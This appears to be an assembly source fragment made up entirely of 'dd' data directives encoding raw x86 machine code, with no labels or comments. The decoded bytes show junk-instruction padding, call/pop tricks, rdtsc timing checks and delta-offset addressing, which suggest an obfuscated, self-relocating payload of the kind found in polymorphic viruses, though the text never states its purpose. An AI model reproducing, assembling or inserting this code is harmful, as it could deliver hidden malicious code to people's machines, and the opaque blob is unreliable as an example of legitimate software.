		dd 1816944h, 1499CFCBh,	3BCF8166h, 441C79Bh, 0CE5F5969h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 27C35040h
		dd 56593674h, 3810Fh, 8B660000h, 41815EFEh, 0D6D71004h
		dd 56006A31h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0E94328B0h, 0Ch,	5089632Bh, 7ACA0672h, 0CF4EBD95h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 2D6203C3h, 3D168EDh, 19B5898Ah, 8B05E717h
		dd 0E71CC5BDh, 71858D05h, 6605E701h, 0D817D681h, 4ABF6657h
		dd 50905E64h, 61605152h, 5A310F5Eh, 52505058h, 0A7614CBEh
		dd 5A310F30h, 9D899058h, 5E70325h, 2DF195FFh, 816605E7h
		dd 8DBAFFC6h, 0E701718Dh, 1C705h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 6403C351h, 14408AC5h, 0B2B5F03h, 10E9h, 85110F00h, 0A0CEA78Ch
		dd 5612FD0Eh, 0B60C902Bh, 0E9BED0h, 41C71F2Fh, 4, 6820F00h
		dd 8B000000h, 0E70231BDh, 0FC00B05h, 8284h, 0A1B58B00h
		dd 8D05E72Fh, 0E74DFA8Dh, 0BE605605h, 466F7398h, 0C818531h
		dd 5E6105E7h, 0EF5BE781h, 5B83106h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0A64EC355h, 17810F58h, 0E8000000h, 0Bh, 0DE4F3A05h
		dd 0E5734561h, 0F99303Bh, 88h, 0E1FF5F00h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0E2C35545h, 3147D7Ah
		dd 0F1BDE9CAh, 0BD8BFFFFh, 5E70CA1h, 4EBC18Bh, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 40C35646h
		dd 8BEF91D7h, 38C0FF0h,	66000000h, 858DF38Bh, 5E71AF9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 9AC35747h
		dd 10E8h, 9009F500h, 0D2A22EDAh, 0AD972BEBh, 0B51C2C2h
		dd 9E9B9h, 0AFB80000h, 4432489h, 5E1488DEh, 0F38B6690h
		dd 6E850h, 2EDD0000h, 76262263h, 52505250h, 585A310Fh
		dd 0BE66310Fh, 585A854Ah, 6A905Eh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0CA58B6C3h, 727EF89Ch
		dd 6A8BB4h, 2BBDB50Bh, 858905E7h, 5E72035h, 0BE66006Ah
		dd 858DBCDFh, 5EAD2E2h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 28C35141h, 0DCD65C81h, 0B509A2EFh, 5E71235h
		dd 6A05C083h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0FA7CC353h, 5A068206h,	0B9858995h
		dd 9005E715h, 5E9h, 60F58000h, 6050A504h, 8E9h,	28627400h
		dd 0BB897C05h, 61C88B35h, 61B58990h, 6A05E725h,	0F0BF0F00h
		dd 0B589006Ah, 5E70C69h, 2C595FFh, 6A05E7h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 13C433C3h
		dd 0D293C111h, 149D8DD2h, 6A05EA95h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0A8CBC356h
		dd 919802A6h, 60EE450Ah, 5D958960h, 8105E70Fh, 43EEE1CFh
		dd 0BA66617Dh, 0FF615246h, 11B58BD3h, 0FF05E72Fh, 0E71CE185h
		dd 0E95E5705h, 9ECh, 0E8h, 0ED815D00h, 5EAD2ECh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 61C35545h, 0EE8h
		dd 78A2CC00h, 0DEE71D22h, 0B1FE4B09h, 8BCE69C4h, 0E70999B5h
		dd 0B5295E05h, 5E70701h, 2A75BD81h, 7D005E7h, 860F0000h
		dd 111h, 2CA99589h, 9D8B05E7h, 5E726D1h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 14h, 1C35646h, 82D8CE81h
		dd 0C68155A8h, 6B30D636h, 100E381h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 682BCEC3h
		dd 0BF0F79AFh, 0FDB0BF2h, 5185h, 13BD8300h, 5EAD1h, 12840Fh
		dd 0B58B0000h, 5E719FDh, 7CE9h,	0C6BE5100h, 5E5FE9F9h
		dd 0D11385C7h, 105EAh, 0CE90000h, 88000000h, 1083F807h
		dd 1AF36EC5h, 0E96E98D9h, 55h, 0DE9h, 9F74DE00h, 2CA1AC8Bh
		dd 100337A4h, 85C7BC45h, 5EAD113h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 70C35343h
		dd 0C70F21C3h, 816604ECh, 0F85F9E6h, 0C8Dh, 6830F00h, 8B000000h
		dd 0E731E5B5h, 0D19D8D05h, 8B05E726h, 0E70845B5h, 0FF238105h
		dd 89FFFFFEh, 0E72D9595h, 0DB8C6605h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0D6C35545h,	1A0EA74Ch, 0C3F6ADF6h
		dd 50840F04h, 8B000000h, 0E7164DB5h, 0D995FF05h, 6A05E72Ch
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 83CEC355h, 89FF4C8Eh, 0E70A99BDh,	0C9B58B05h
		dd 9005E70Ah, 90F28B50h, 7E8h, 0B1D14600h, 6B1FABD5h, 1C1DBD01h
		dd 0E95E05E7h, 3D8h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 63C35040h, 0A9BE22BEh, 0F8166408h, 0B58B00B0h
		dd 5E703EDh, 6A70E6h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0F6F9B4C3h, 14BEFDC2h, 5BE68166h
		dd 2971E4CFh, 0E715E59Dh, 0D8B60F05h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0F9C35747h,	0C99C7101h, 538C7FF3h
		dd 6BA5EFCh, 8B000000h,	89C38BF0h, 0E726CD9Dh, 4E8C105h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0FEC35545h
		dd 0D08AB59Ah, 0D0816060h, 75D87968h, 1C1D8D89h, 896105E7h
		dd 0E7127985h, 0F7666105h, 0DE9E2h, 0A7EC0000h,	3C607D6Eh
		dd 0D38E80F3h, 0E85F0F49h, 11h,	0EC157A4Ah, 2F3BAA72h
		dd 6CBB1A85h, 80141FCEh, 0B5895019h, 5E72229h, 0D82B5E5Eh
		dd 8B0Fh, 0E8500000h, 9, 4F7C6370h, 0F6D4CA80h,	0F1FCBEB7h
		dd 895E49E1h, 0B5FF241Ch, 5E72A75h, 68A0Fh, 0B58B0000h
		dd 5E72D91h, 1A1D95FFh,	6A05E7h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 26034DC3h, 967836F5h
		dd 0F81A2A58h, 1DBE00B0h, 0E634DD9Ah, 0EE970h, 31200000h
		dd 95C1BB05h, 0D11834D2h, 0C2866C13h, 9BE71E4h,	3C431F0Ch
		dd 4D830F61h, 6A000002h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0FC7C352h, 6AD8B6h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 841483C3h, 8780C20Bh, 8589D3EEh, 5E70559h, 6BAh, 6AC38B00h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 34B0C351h, 0FD36A026h, 1D4688Ah, 0E70BD1B5h
		dd 4E8C105h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	75C35646h, 8BD1A0F7h, 996B760Eh, 6AE2F766h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0B2E9C353h, 0F525EACh, 685h,	0C9952900h, 2B05E70Dh
		dd 950958D8h, 5E730C9h,	880FD82Bh, 16Ch, 0B9F08B66h, 7
		dd 6A00C183h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0C261C353h, 0FEF3F26Eh, 0AA12A9A9h
		dd 12E8h, 20B4400h, 0FBFCCECBh,	495DF507h, 0CDDBD521h
		dd 0F21D88Ah, 3B5EF0B7h, 19860FD9h, 60000001h, 20E19589h
		dd 9D3105E7h, 5E716B5h,	0D98C6661h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 16h, 68C35040h, 0C1F6FF9Ah, 0BA840F04h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0E453C357h, 99B58B07h,	905E717h
		dd 0E71B7DB5h, 0D995FF05h, 6A05E72Ch, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0F2DBC350h
		dd 0F1BE665Eh, 0EE815BCEh, 5CC119BBh, 6AC32Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 16A50CC3h, 65967F3Dh, 0FE93Fh, 0C3B40000h, 14893FC5h
		dd 1C2D6B5Ah, 0CB3FF77Ah, 343DF9F5h, 0F000008h,	1C86h
		dd 0F6816600h, 39E9176Bh, 60000000h, 60C78B66h,	800Fh
		dd 5BB80000h, 6103E69Eh, 6AC08B61h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 66F2C352h
		dd 1330EE81h, 0B30EBE66h, 0D88BC38Bh, 0C3B70F60h, 870Fh
		dd 8B610000h, 0E71785B5h, 0A185C705h, 9705E725h, 6A3FA64Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0BFA5C352h, 0B58B6367h, 5E71D65h,	6AC08Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 2B7811C3h, 46F64562h, 0A5B58BFCh, 8105E731h,	0E72A75BDh
		dd 7D005h, 32850F00h, 0F000000h, 85FFF6B7h, 5E72A75h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0D0C35242h, 0A1B58B2Bh
		dd 905E708h, 0E72F1D85h, 75B5FF05h, 6A05E72Ah, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 1C13C355h, 8260CA0h,	0E960713Dh, 0Bh, 17049A77h, 48BBC66Fh
		dd 0E9377253h, 11h, 59908A2h, 60074013h, 51130426h, 89CAFFEAh
		dd 95FF61C9h, 5E71A1Dh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 3AC35242h, 0C7F6811Bh, 8B304DD6h, 0E70271B5h
		dd 0D88B9005h, 32D9BD89h, 0BD8305E7h, 5E73301h,	42840F00h
		dd 50000000h, 49B52960h, 8B05E722h, 0E713C185h,	8B5E6105h
		dd 0E731E9B5h, 2AEE905h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0E54F87C3h, 312FE51Fh
		dd 0E70D1985h, 6ADF8C05h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 174BC357h, 6880FBCh
		dd 81000000h, 0F7E906D6h, 0C7F7660Eh, 850F0004h, 250h
		dd 28B0F60h, 0B3000000h, 6D950968h, 6105E720h, 3A58C681h
		dd 0BF0BDCh, 60000000h,	2CA18D89h, 815305E7h, 0BCF03BE3h
		dd 8D615E39h, 0EADC609Dh, 5E905h, 0A7230000h, 50CCAEAFh
		dd 1C89F28Bh, 5B58B24h,	6405E726h, 35FFh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 93DA7FC3h, 258964FDh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0AEC35040h
		dd 7185B434h, 6AC48B58h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 10E4C356h, 59B5093Ch
		dd 0CD05E723h, 6A00EB01h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 414CC357h, 6A607F77h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0B3BC352h, 6268088Bh, 3DB58B94h, 6405E706h
		dd 58Fh, 6A0000h, 3E850h, 58200000h, 448958C3h,	44810424h
		dd 1A0424h, 50400000h, 0F7F6CC3h, 0CD059B35h, 2559B509h
		dd 0CE905E7h, 0AB000000h, 2DA4B251h, 68E7872Fh,	830D978Bh
		dd 6A04C4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 681616C3h, 0B58B8AD0h, 5E72C4Dh, 840FC00Bh
		dd 0D8h, 3BFAD681h, 95895242h, 5E71A15h, 4DFABD8Dh, 6A05E7h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 6324A9C3h, 1DBAE510h, 8523600Fh, 5E72649h, 5E9h, 46032D00h
		dd 0B861C2C0h, 5, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	0CEC35141h, 0DF2183Fh, 10DF681h, 81663E99h, 0FF0105C6h
		dd 0E6BE66E7h, 5C8B5791h, 838B1024h, 0B8h, 140B60Fh, 8389C8FEh
		dd 0B0h, 0B88383h, 5F020000h, 0E9C3C033h, 11h, 0DC416323h
		dd 0DDDD3640h, 0AB5278B2h, 0F1C4F982h, 53006A3Bh, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 4556E474h, 37A0BE66h, 25E9CA2Bh, 60FFFFF6h, 8BD6BF0Fh
		dd 0E705D5B5h, 0B5896105h, 5E7135Dh, 6AC18Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 219D75C3h
		dd 0DE9h, 0E81A0000h, 27C63317h, 36E8B32Bh, 4EBDEB5h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F0C35242h
		dd 0B37E9BB8h, 0E96E52CDh, 0Bh,	12B0EC73h, 4C0B3ECBh, 6AECF8CAh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 8616C357h, 64A044C4h, 0FD430C0h, 68Bh, 0F58D8900h
		dd 5705E700h, 0CE1BD31h, 8D5E05E7h, 0E71AF985h,	52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 301F4AEBh, 24048950h, 13DD9501h, 6A05E7h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0CDC35545h, 73029C6h
		dd 0BED03910h, 0D098C55h, 0ED9B58Bh, 6A05E7h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 6DC35343h, 2CFD9589h
		dd 57F905E7h, 39B52960h, 8B05E72Ch, 0E716698Dh,	8D5E6105h
		dd 0EADEC085h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0A9BCFD88h, 0A8F470AFh
		dd 6A05C083h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 3154C353h, 0E72D4DBDh,	0F509005h
		dd 0B82h, 8B666000h, 0F5250DEh,	61585A31h, 0BF66FC90h
		dd 6A00BCh, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 1Dh,	0C4C35141h, 6E1BA6E3h, 0B2CFC069h, 66006A02h, 0BD88E781h
		dd 2C595FFh, 0F38B05E7h, 95149D8Dh, 0D3FF05EAh,	4EB968BEh
		dd 0E185FF05h, 0F05E71Ch, 85h, 93AE900h, 0E80000h, 5D000000h
		dd 0DECAED81h, 6A05EAh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 2FEAE1C3h, 43E0213Ah, 0B694260h
		dd 0E70421B5h, 75BD8105h, 0D005E72Ah, 0F000007h, 1C986h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 51DB39DDh, 0E9EAFEC2h, 0Fh, 995B00EFh, 3A8D9A66h
		dd 998BDA07h, 89B77436h, 0E70DE985h, 0E59D8B05h, 0F05E71Ah
		dd 68Bh, 0A5B58B00h, 8105E706h,	100E3h,	53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
		dd 1C5958FBh, 0EFE955E6h, 0DB0B2A09h, 0E1850Fh,	0BF660000h
		dd 0BD83A482h, 5EADD07h, 31840F00h, 8B000000h, 0E721DDB5h
		dd 0DCE905h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0C7691FC3h, 56FE9656h, 0F98A27AFh
		dd 0DD0785C7h, 105EAh, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 264AA0C3h, 42B0BCEEh
		dd 8D89ED19h, 5E72ED5h,	5E8h, 43A69B00h, 7E8DE0Eh, 0D1000000h
		dd 20FB675h, 0B58994A7h, 5E70E59h, 5FE95F5Fh, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 5E52C357h, 6708A0F8h, 0BA8A9792h,	6E8h, 0E0997D00h
		dd 0E89ABE0Bh, 0Bh, 0E635B0E5h,	69CA5FDCh, 8BE7CE84h, 0E73211B5h
		dd 0C75E5F05h, 0EADD0785h, 5, 8E900h, 0B5810000h, 876E51CFh
		dd 9D8D1BBCh, 5E71AE5h,	26059D01h, 238105E7h, 0FFFFFEFFh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0C9C35343h
		dd 0B57F3250h, 669A895Dh, 10E905h, 581C0000h, 8F71D240h
		dd 0C18CBFC4h, 4BEAE540h, 0BF6611A1h, 8C66CD53h, 51006ADBh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0E3A54313h, 53162391h, 0C6BF6600h, 4C3F622h,	6F840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 95FF22C3h, 5E72CD9h, 2C999D89h, 0E89005E7h
		dd 5, 0BD4696EEh, 5FFB8B61h, 0EE950h, 0E7D60000h, 495C2231h
		dd 172CFAE2h, 0D1D48B67h, 52006A90h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 89CEAC82h
		dd 0E713499Dh, 463E905h, 0B5230000h, 5E702F1h, 6A00B0h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 199199C3h, 0CEF34252h, 0F601854h, 71BBC6BFh,	61663A59h
		dd 9D8970E6h, 5E72271h,	6A71E4h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0C87D46C3h, 0E21B5AE4h
		dd 0B60F5F57h, 0F8BF0FD8h, 6BAh, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 216A6840h
		dd 0E45C0F30h, 0C1C38BBEh, 6A04E8h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 3340B8C3h
		dd 0E71325BDh, 0E2F76605h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 41C35747h, 0E5CD9A6h,	0DD5D2141h, 6AD82B32h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0B1E9C350h, 2F41BD2Bh, 509305E7h,	10E852h
		dd 1BB00000h, 51A42680h, 1BFA4BD5h, 9EDEA242h, 0FB8B554Bh
		dd 0BE310F5Fh, 6069825h, 9350585Ah, 22299D89h, 0B5FF05E7h
		dd 5E72A75h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	0F5C35545h, 8E779A70h, 808F0D98h, 160F860h, 0E72761BDh
		dd 0FF616105h, 0E71A1D95h, 3DBD8B05h, 8905E70Ch, 0E705B985h
		dd 6A00B005h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 1DEAC357h, 579B58Bh, 70E605E7h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 2FC35343h
		dd 0F3AC5D4h, 71E4DBC6h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 13C35646h, 78DEB417h,	613CDEEEh, 273830Fh
		dd 0DF810000h, 62AD390h, 6AD8B60Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0B108C357h
		dd 0E747BEAEh, 0BA5462A8h, 6, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 3DC35040h, 299E6EF6h, 0E721398Dh
		dd 7A46BF05h, 0C38B72FAh, 0E8C1FE8Bh, 50006A04h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 0B93B8C39h, 7B0123CAh, 10E9E4h, 0B9F50000h, 1F6C1A3Ch
		dd 0F1080A22h, 6F4817B7h, 0F76641C1h, 55006AE2h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 0ADEC1EF7h, 6AD82Bh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0DA354CC3h, 0A1583351h, 60603060h
		dd 0C59B531h, 9D8B05E7h, 5E70B7Dh, 6A586161h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0F675C353h, 0D82BFB36h, 157880Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0F6D2AFC3h
		dd 8BF986F5h, 0E71601BDh, 7B905h, 0BD890000h, 5E721ADh
		dd 0F00C183h, 681h, 61B58900h, 3B05E724h, 0E860FD9h, 66000001h
		dd 6AD98Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 1DD64FC3h, 1DFA3D73h, 0F04C1F6h, 0BB84h
		dd 99958900h, 0FF05E708h, 0E72CD995h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 6007FC1Ah, 77D9D8Bh, 5B6105E7h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 95C35747h, 0EDB589ECh
		dd 2B05E730h, 0F88B66C3h, 8343Dh, 55860F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0AB00C356h, 9033A958h, 79D19EC4h,	50E9h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0CC7F33FEh, 9FA65F28h, 0DE81ED8Dh, 694D56DAh
		dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0BC8E33C3h, 8B3CDED0h, 8BC38BF3h,	0C7F08BD8h
		dd 0E726D185h, 0F6137D05h, 6AC08B72h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 30EDC351h
		dd 883E769Bh, 0E1B4A0F4h, 2A75BD81h, 7D005E7h, 850F0000h
		dd 4Ch,	825B503h, 85FF05E7h, 5E72A75h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0A8C35141h,	45BD8BEAh, 0E905E732h
		dd 12h,	8D8AF0A3h, 0CD65CCAAh, 0FCBC9E4h, 2290E1C1h, 0BD8BB645h
		dd 5E71539h, 2A75B5FFh,	6A05E7h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0EA12E9C3h, 1A1D95FFh
		dd 8ABF05E7h, 903EB972h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0D4C35343h, 87C9F86Dh, 339A7F91h, 0E70869BDh
		dd 0FF96005h, 680h, 0F5858900h,	6105E705h, 7B1BBF66h, 0C798D89h
		dd 0BD8B05E7h, 5E70A7Dh, 118D8B60h, 0F05E72Dh, 28Ah, 612EB100h
		dd 38B0Fh, 0B70F0000h, 0DE960F3h, 0B9000000h, 9DEB8C09h
		dd 0C2C7E587h, 6FB8D4E4h, 0DE8B6660h, 0DE8h, 46487800h
		dd 4C40120Fh, 794730E9h, 6659FA66h, 6161F18Bh, 965B503h
		dd 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 1BD07FC3h, 6CEBBDE0h, 5D9D291Eh, 0E905E70Ch
		dd 13h,	0BE5C394h, 85B1218Dh, 0FBBDF06Ch, 0DC24C466h, 89188F95h
		dd 0E727CD8Dh, 38A0F05h, 66000000h, 6AFE8Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 33C872C3h
		dd 8B0F3581h, 12h, 0E8FFB70Fh, 8, 0A69FB9D6h, 0A712945Fh
		dd 0FFE95EF8h, 6AFFFFF6h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 8A0FC352h, 89979402h
		dd 0E70BD98Dh, 9D896005h, 5E72D9Dh, 0F6D88166h,	0A5B5898Fh
		dd 6105E713h, 13E8C18Bh, 4000000h, 1759F5EBh, 0B756B66Ah
		dd 0A9D7A8E2h, 81B57BE0h, 0FC60BC27h, 2F7D9533h, 5E6105E7h
		dd 4EBh, 0B0BF0000h, 89052B60h,	0E72311B5h, 0F9858D05h
		dd 6A05E71Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0D0ECC350h, 9589106Eh,	5E71619h
		dd 90FB8B66h, 50FE8B66h, 12E9h,	6DCF8100h, 0C8D57C51h
		dd 488483CCh, 0ABB0DB52h, 90C006A8h, 3FC68166h,	6A006A25h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0E03EC357h, 4C6FE86h, 6ADCD3B3h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0AE0522D0h, 0AA4D12CAh, 0EE858D0Ch, 6A05EAE9h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 2705C353h, 0AC0E21A0h, 59858957h, 5E05E723h,	15F1BD8Bh
		dd 0C08305E7h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0AB8FBE26h, 665090A9h
		dd 90C578BEh, 26AD8D31h, 0BD8905E7h, 5E70F31h, 0BE66006Ah
		dd 6A4588h, 0A1858957h,	5F05E706h, 2C595FFh, 6A05E7h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 92D1E9C3h, 31F08B51h, 0E719C585h, 149D8D05h,	8B05EA95h
		dd 0E730D1BDh, 6AD3FF05h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 402BC356h, 8C0FAFh
		dd 0FF000000h, 0E71CE185h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 25DC147Bh
		dd 11E88534h, 2B000000h, 802DC786h, 233C3078h, 1A358CD3h
		dd 16DD598Bh, 9659D09h,	0E95F05E7h, 8A3h, 0E8h,	0ED815D00h
		dd 5EAE9F8h, 31DB58Bh, 0BD8105E7h, 5E72A75h, 7D0h, 144860Fh
		dd 830F0000h, 18h, 0FE8h, 0B87DF600h, 9D07D9Eh,	4536B865h
		dd 0DF09C42h, 5EF18B66h, 26B59D8Bh, 8D8905E7h, 5E700E5h
		dd 100E381h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 81C01BC3h, 17F02684h, 9D890DCBh
		dd 5E73245h, 850FDB0Bh,	0B6h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 4DC35545h, 0DF75C08Fh, 0FDB2A7Bh
		dd 0BD83F9B7h, 5EAE825h, 4E840F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0E802C356h, 0E5BD23EFh, 0E905E730h, 73h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0BC35747h, 6268088Bh
		dd 2DF33794h, 2585C754h, 105EAE8h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0A3AAC352h, 0E9CFFAD7h, 1Fh,	1529B50Bh, 85C705E7h, 5EAE825h
		dd 0
		dd 0AE9h, 0E2A47900h, 5D97DB47h, 8DC18223h, 0E726B59Dh
